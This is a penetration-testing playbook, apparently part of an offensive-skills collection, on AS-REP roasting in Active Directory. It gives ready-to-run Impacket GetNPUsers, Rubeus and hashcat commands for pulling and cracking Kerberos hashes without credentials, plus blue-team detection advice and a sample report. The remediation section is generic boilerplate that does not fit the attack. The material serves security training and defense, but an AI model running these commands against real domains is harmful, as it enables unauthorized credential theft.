Active Directory Asreproasting

Active Directory AS-REP Roasting

When to Use

• When performing external or internal enumeration and you DO NOT possess any valid Active Directory credentials (a completely unauthenticated position), but you have a list of valid usernames.
• When an administrator has misconfigured user accounts by checking the "Do not require Kerberos preauthentication" setting (often done for legacy Linux integrations or broken service wrappers).
• As a secondary, faster credential extraction method alongside Kerberoasting.

Prerequisites

• Network access to the target subnet (VPN, pivot, or direct connection)
• Nmap and relevant network scanning tools installed
• Understanding of TCP/IP, common protocols, and network segmentation
• Root/admin access on the attack machine for raw socket operations

Workflow

Phase 1: Understanding the Mechanism

# Concept: By default in Active Directory, when a user requests a Kerberos Ticket (TGT), 
# they must prove they know their password by sending a timestamp encrypted with their password 
# hash (this is Preauthentication).

# The Vulnerability: If "Do not require Kerberos preauthentication" is enabled on a user account,
# ANYONE on the network can ask the Domain Controller for a TGT for that user. 
# The DC will happily bundle up the TGT, encrypt a portion of it with the user's password hash, 
# and send it to the attacker. 

# The attacker can then take this AS-REP (Authentication Service Response) offline and crack it.

Phase 2: Unauthenticated AS-REP Roasting (Impacket)

# Concept: From a Kali Linux box with NO domain credentials, we feed a list of usernames 
# to the DC. If any have the flaw, we get their hash.

# 1. Provide Impacket with a wordlist of usernames to test against the Domain Controller.
impacket-GetNPUsers CORP.LOCAL/ -no-pass -usersfile usernames.txt -format hashcat -dc-ip 192.168.1.100

# 2. Output Analysis:
# If the user `SVC_Backup` is misconfigured, Impacket downloads the hash in real-time.
# Output: `$krb5asrep$23$SVC_Backup@CORP.LOCAL:34f41...`

Phase 3: Authenticated Discovery (Rubeus)

# Concept: If you ALREADY have compromised a low-level domain user, you don't need a wordlist. 
# You can query LDAP explicitly for all misconfigured accounts and request the tickets automatically.

# 1. Execute Rubeus on a domain-joined machine.
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Rubeus queries LDAP for `userAccountControl` containing `DONT_REQ_PREAUTH` (Value 4194304).
# It requests the AS-REP for every single vulnerable account found and outputs to the text file.

Phase 4: Offline Cracking (Hashcat)

# Concept: The AS-REP hash must be decrypted to yield the plaintext password.

# 1. Identify the hash format. Standard AS-REPs are Kerberos 5 AS-REP etype 23 (Hash Type 18200).
# 2. Execute hashcat against the extracted file.
hashcat -m 18200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -O

# 3. If the user's password is in the dictionary, it will be cracked. You now possess valid credentials for the network.

Decision Point 🔀

flowchart TD
    A[Identify target Domain] --> B{Do you have ANY valid credentials?}
    B -->|Yes| C[Execute `Rubeus asreproast` or `GetNPUsers` with credentials to query LDAP directly]
    B -->|No| D[Gather OSINT/Username lists (e.g., LinkedIn scraping, SMB Null Sessions)]
    D --> E[Execute `GetNPUsers` providing the username list and `-no-pass`]
    C --> F[Extract AS-REP Hashes]
    E --> F
    F --> G[Crack offline using Hashcat module 18200]
    G --> H[Password Recovered. Lateral Movement achieved.]

🔵 Blue Team Detection & Defense

• Audit UserAccountControl: Immediately identify and remediate any Active Directory accounts with the DONT_REQ_PREAUTH flag enabled. Use PowerShell to audit the domain: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True}. Disable this requirement entirely unless absolutely required by a specific legacy appliance.
• Enforce Complex Passwords: As with Kerberoasting, if preauthentication disabling is mandatory for a system to function, the associated account must be enforced to use a 30+ character random password to mathematically guarantee immunity against offline Hashcat dictionary attacks.
• Kerberos Anomaly Detection: Configure SIEM alerts (Windows Event ID 4768) if a single IP address systematically requests hundreds of TGT tickets for various accounts within seconds, behavior entirely disconnected from normal interactive logon flows.

Key Concepts

Output Format

Penetration Test Report: Unauthenticated Credential Extraction via AS-REP Roasting
==================================================================================
Tactic: Credential Access (T1558.004)
Severity: High (CVSS 8.1)
Target: `SVC_Jenkins` Account

Description:
During initial perimeter enumeration from an unauthenticated posture, the Red Team obtained a list of valid corporate usernames via OSINT gathering and metadata extraction from public PDFs.

Utilizing Impacket's `GetNPUsers` module across the unauthenticated network boundary targeting the internal Domain Controller, it was discovered that the `SVC_Jenkins` account had been explicitly configured to disable Kerberos Preauthentication (`DONT_REQ_PREAUTH`). 

The attack successfully requested the AS-REP message, allowing the offline extraction of the Kerberos Ticket. Utilizing a dictionary-based attack on GPU infrastructure, the associated NTLM password (`DevOpsRulez123`) was cracked in 45 seconds. 

Impact:
The attacker transitioned from a black-box, unauthenticated state to possessing fully valid domain credentials without generating login failure alerts on the Domain Controller. The compromised Service Account permitted read access to source code repositories.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Ired.team: AS-REP Roasting
• Harmj0y: Roasting AS-REPs
• MITRE ATT&CK: AS-REP Roasting (T1558.004)